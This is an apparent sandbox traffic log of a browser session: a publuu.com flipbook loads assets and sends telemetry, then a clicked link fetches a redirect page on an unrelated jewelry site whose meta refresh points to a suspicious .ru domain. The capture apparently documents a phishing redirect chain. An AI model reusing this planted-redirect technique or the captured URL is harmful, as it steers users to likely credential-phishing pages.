ov&jCm1+N7W^HXe.i%I(EG I=]=;2~\3~`tbr\:AG>sW\~2>YPa}I^^ne'H/:Sw$7B][[Ny$\|iEpC.z=l~lh1l&8,s{
2025-03-26 17:36:22 UTC	2472	IN	Data Raw: 8c 3f bc be 30 3e e1 4b bf eb 64 50 b4 ca ae fe d3 b9 f7 81 20 4f d1 a9 6b dd 66 de e1 be 91 ef 97 55 d3 17 04 c7 82 d4 79 1d 5b 71 7d 95 82 77 38 18 b8 29 6b f9 d3 aa f9 20 0a ff 4b 99 b1 d5 c5 e3 fb a7 9a 96 bb 77 e6 60 c6 39 60 e2 10 df 5e 30 89 12 7c 8e bf f4 df ec f3 e4 5e b2 75 e8 37 92 b0 12 56 8c 68 fb e8 26 a0 b7 55 05 e4 5b 5c 82 80 0e 1c c2 e3 2d b2 5a 89 ba 82 7e ca 2a 30 29 12 bf fe f9 b6 9b 0e 1b 4d 11 a0 34 28 b1 5d 8c e3 c3 2c 7a 7c 06 33 68 b1 c7 30 6c 3e 9d ab 00 ed cd ca 75 80 2b bc f2 db 38 73 e8 60 70 3a 1b ea 81 36 95 d4 95 b5 28 0b 5a 6c e1 e3 e9 15 94 29 58 48 09 ba 32 c4 92 66 a6 72 08 9e b6 3a 45 65 c5 3e 04 c1 37 64 bb 25 a6 44 9c 4d 94 e3 31 28 07 04 59 82 49 2c 33 13 1c 38 e3 31 d5 b8 b6 e8 2b f6 7e 86 76 fb 92 46 3d bb cf f1 Data Ascii: ?0>KdP OkfUy[q}w8)k Kw`9`^0\|^u7Vh&U[\-Z~*0)M4(],z\|3h0l>u+8s`p:6(Zl)XH2fr:Ee>7d%DM1(YI,381+~vF=

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:22 UTC	721	OUT	GET /flipbook/202503/02/assets/images/link.svg HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:22 UTC	617	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 721 Connection: close Date: Fri, 21 Mar 2025 12:01:26 GMT Last-Modified: Fri, 21 Mar 2025 10:28:16 GMT ETag: "c367903210123c014ec5e671676601c7" x-amz-server-side-encryption: AES256 x-amz-version-id: 9gO9XwmMrL7zs479yjCpTsi3kfulCWb. Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 fa2ecff4e65c01748abe1c8c2a9dfb72.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: MvgAefAA72ZDaehMgNJ5TrKJQAAZP_IQfhFJhdNakw4miIaBnJ--vw== Age: 452097 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:22 UTC	721	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 73 76 67 20 69 64 3d 22 67 61 6c 65 72 69 61 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 30 20 36 30 22 20 63 6c 61 73 73 3d 22 72 6f 74 61 74 65 2d 69 63 6f 6e 22 3e 0d 0a 3c 67 20 69 64 3d 22 69 63 6f 5f 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 39 2e 37 37 2c 31 38 2e 39 33 61 35 2e 32 31 2c 35 2e 32 31 2c 30 2c 30 2c 31 2c 31 2e 38 34 2c 33 2e 35 34 2c 35 2e 32 38 2c 35 2e 32 38 2c 30 2c 30 2c 31 2d 31 2e 32 2c 33 2e 38 32 6c 2d 34 2e 36 39 2c 0d 0a 35 2e 35 39 61 35 2e 32 33 2c 35 2e 32 33 2c 30 2c 30 2c 31 2d 37 2e 33 36 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg id="galeria" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 60" class="rotate-icon"><g id="ico_4"><path d="M39.77,18.93a5.21,5.21,0,0,1,1.84,3.54,5.28,5.28,0,0,1-1.2,3.82l-4.69,5.59a5.23,5.23,0,0,1-7.36

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:22 UTC	672	OUT	GET /flipbook/202503/02/assets/favicons/favicon-32.png HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:22 UTC	595	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 813 Connection: close Date: Fri, 21 Mar 2025 10:45:57 GMT Last-Modified: Fri, 21 Mar 2025 10:27:59 GMT ETag: "ccdff90e27263b6c465d08bd87e5e03a" x-amz-server-side-encryption: AES256 x-amz-version-id: KBbBKxZZxTcdIsHKgIUEFvTF4R5I5C4F Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 547ed58ab09c3c811d28ab963755fcd8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: XbJ-vX5B0eL3ED3nQNz6apF2H9lURQe-MBfIXg7iYEtwnk1GfkAa6g== Age: 456626 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:22 UTC	813	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 00 98 00 00 00 98 01 a2 c8 82 98 00 00 02 df 49 44 41 54 58 85 cd 57 3d 6c 52 51 14 fe a4 44 62 15 9b a6 98 80 8d c4 98 d4 ea d4 4a 03 4b 9b c0 52 27 4c 71 13 27 c0 58 d7 c6 0e 8e 75 75 30 69 e2 a4 26 c8 86 1b 34 30 d9 05 12 ba 40 50 98 ac 74 31 34 15 12 69 14 51 4c 4d 1a cc b9 de f7 fa 1e be 5f 05 eb 37 f1 73 de f9 be 73 ee bd df 3b f7 44 af d7 83 11 78 63 c5 59 00 21 00 01 00 7e 95 47 f2 00 72 00 d2 a5 b8 af 62 24 af ae 00 6f ac 18 01 b0 02 60 c6 90 d2 23 54 01 ac 97 e2 be c4 1f 09 f0 c6 8a 17 01 24 34 aa 35 0a ea 4a a4 14 f7 bd 57 8a b7 a8 90 53 ab 2b 03 20 07 cf 51 e1 39 f5 05 f0 96 a7 00 8c 0d 80 5c 00 e5 4a f1 dc 32 c8 96 Data Ascii: PNGIHDR szzpHYsIDATXW=lRQDbJKR'Lq'Xuu0i&40@Pt14iQLM_7ss;DxcY!~Grb$o`#T$45JWS+ Q9\J2

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:22 UTC	659	OUT	POST /logs/831678/1829815/simple HTTP/1.1 Host: utty56o2qi.execute-api.us-east-2.amazonaws.com Connection: keep-alive Content-Length: 501 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://publuu.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:22 UTC	501	OUT	Data Raw: 7b 22 61 70 70 5f 74 79 70 65 22 3a 22 31 22 2c 22 6c 6f 67 5f 74 79 70 65 22 3a 35 2c 22 69 73 73 75 65 5f 69 64 22 3a 31 38 32 39 38 31 35 2c 22 65 78 74 72 61 22 3a 22 5b 5c 22 7b 5c 5c 5c 22 74 79 70 65 5c 5c 5c 22 3a 5c 5c 5c 22 70 61 67 65 5f 73 74 61 72 74 5c 5c 5c 22 2c 5c 5c 5c 22 74 69 6d 65 5c 5c 5c 22 3a 31 37 34 33 30 31 30 35 38 31 35 38 36 2c 5c 5c 5c 22 70 61 67 65 5c 5c 5c 22 3a 5b 30 5d 2c 5c 5c 5c 22 6c 69 66 65 74 69 6d 65 5c 5c 5c 22 3a 31 37 34 33 30 31 30 35 38 31 35 38 36 2c 5c 5c 5c 22 69 6e 61 63 74 69 76 65 74 69 6d 65 5c 5c 5c 22 3a 33 37 32 34 2c 5c 5c 5c 22 62 6f 72 69 6e 67 74 69 6d 65 5c 5c 5c 22 3a 33 37 32 34 2c 5c 5c 5c 22 75 69 64 5c 5c 5c 22 3a 5c 5c 5c 22 6d 38 71 37 68 74 63 39 36 32 64 72 68 74 76 34 66 6c 68 5c 5c Data Ascii: {"app_type":"1","log_type":5,"issue_id":1829815,"extra":"[\"{\\\"type\\\":\\\"page_start\\\",\\\"time\\\":1743010581586,\\\"page\\\":[0],\\\"lifetime\\\":1743010581586,\\\"inactivetime\\\":3724,\\\"boringtime\\\":3724,\\\"uid\\\":\\\"m8q7htc962drhtv4flh\\
2025-03-26 17:36:22 UTC	403	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:36:22 GMT Content-Type: application/json Content-Length: 26 Connection: close x-amzn-RequestId: 2c72d385-1500-416c-95c6-78c9e5e00b4e Access-Control-Allow-Origin: * x-amz-apigw-id: IC4rmFevCYcEKEw= X-Amzn-Trace-Id: Root=1-67e43b16-5e189fc31f4ad25e60ab6044;Parent=625cefd3679b622c;Sampled=0;Lineage=1:3c0994af:0 Access-Control-Allow-Credentials: true
2025-03-26 17:36:22 UTC	26	IN	Data Raw: 7b 22 69 64 22 3a 30 2c 22 73 65 6e 64 5f 65 6d 61 69 6c 22 3a 6e 75 6c 6c 7d Data Ascii: {"id":0,"send_email":null}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:23 UTC	436	OUT	GET /logs/831678/1829815/simple HTTP/1.1 Host: utty56o2qi.execute-api.us-east-2.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:23 UTC	279	IN	HTTP/1.1 403 Forbidden Date: Wed, 26 Mar 2025 17:36:23 GMT Content-Type: application/json Content-Length: 42 Connection: close x-amzn-RequestId: 9dab2d17-8e92-4651-bb1c-01e5e333b93f x-amzn-ErrorType: MissingAuthenticationTokenException x-amz-apigw-id: IC4rsFxcCYcEv6w=
2025-03-26 17:36:23 UTC	42	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 4d 69 73 73 69 6e 67 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 54 6f 6b 65 6e 22 7d Data Ascii: {"message":"Missing Authentication Token"}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:28 UTC	659	OUT	POST /logs/831678/1829815/simple HTTP/1.1 Host: utty56o2qi.execute-api.us-east-2.amazonaws.com Connection: keep-alive Content-Length: 592 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://publuu.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:28 UTC	592	OUT	Data Raw: 7b 22 61 70 70 5f 74 79 70 65 22 3a 22 31 22 2c 22 6c 6f 67 5f 74 79 70 65 22 3a 33 2c 22 69 73 73 75 65 5f 69 64 22 3a 31 38 32 39 38 31 35 2c 22 65 78 74 72 61 22 3a 22 5b 5c 22 7b 5c 5c 5c 22 74 79 70 65 5c 5c 5c 22 3a 5c 5c 5c 22 6c 69 6e 6b 5c 5c 5c 22 2c 5c 5c 5c 22 74 69 6d 65 5c 5c 5c 22 3a 31 37 34 33 30 31 30 35 38 37 32 37 32 2c 5c 5c 5c 22 70 61 67 65 5c 5c 5c 22 3a 5b 30 5d 2c 5c 5c 5c 22 6c 69 66 65 74 69 6d 65 5c 5c 5c 22 3a 31 37 34 33 30 31 30 35 38 37 32 37 32 2c 5c 5c 5c 22 69 6e 61 63 74 69 76 65 74 69 6d 65 5c 5c 5c 22 3a 31 39 2c 5c 5c 5c 22 62 6f 72 69 6e 67 74 69 6d 65 5c 5c 5c 22 3a 33 37 34 33 2c 5c 5c 5c 22 75 69 64 5c 5c 5c 22 3a 5c 5c 5c 22 6d 38 71 37 68 74 63 39 36 32 64 72 68 74 76 34 66 6c 68 5c 5c 5c 22 2c 5c 5c 5c 22 6c Data Ascii: {"app_type":"1","log_type":3,"issue_id":1829815,"extra":"[\"{\\\"type\\\":\\\"link\\\",\\\"time\\\":1743010587272,\\\"page\\\":[0],\\\"lifetime\\\":1743010587272,\\\"inactivetime\\\":19,\\\"boringtime\\\":3743,\\\"uid\\\":\\\"m8q7htc962drhtv4flh\\\",\\\"l
2025-03-26 17:36:28 UTC	403	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:36:28 GMT Content-Type: application/json Content-Length: 26 Connection: close x-amzn-RequestId: b04b5cde-668e-46fd-8a62-25903f2a19ff Access-Control-Allow-Origin: * x-amz-apigw-id: IC4seF63CYcETxw= X-Amzn-Trace-Id: Root=1-67e43b1c-6bf758f772958ab735eb909b;Parent=2013803567bb2350;Sampled=0;Lineage=1:3c0994af:0 Access-Control-Allow-Credentials: true
2025-03-26 17:36:28 UTC	26	IN	Data Raw: 7b 22 69 64 22 3a 30 2c 22 73 65 6e 64 5f 65 6d 61 69 6c 22 3a 6e 75 6c 6c 7d Data Ascii: {"id":0,"send_email":null}

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:28 UTC	724	OUT	GET /edu/redirect.html HTTP/1.1 Host: joyeriaangeles.com.mx Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:28 UTC	206	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:36:28 GMT Server: Apache Last-Modified: Wed, 26 Mar 2025 17:17:11 GMT Accept-Ranges: bytes Content-Length: 1152 Connection: close Content-Type: text/html
2025-03-26 17:36:28 UTC	1152	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 61 6a 74 6c 32 2e 63 6c 72 69 77 68 6b 63 2e 72 75 2f 6f 36 4e 32 2f 22 3e Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Redirecting...</title> <meta http-equiv="refresh" content="0;url=https://ajtl2.clriwhkc.ru/o6N2/">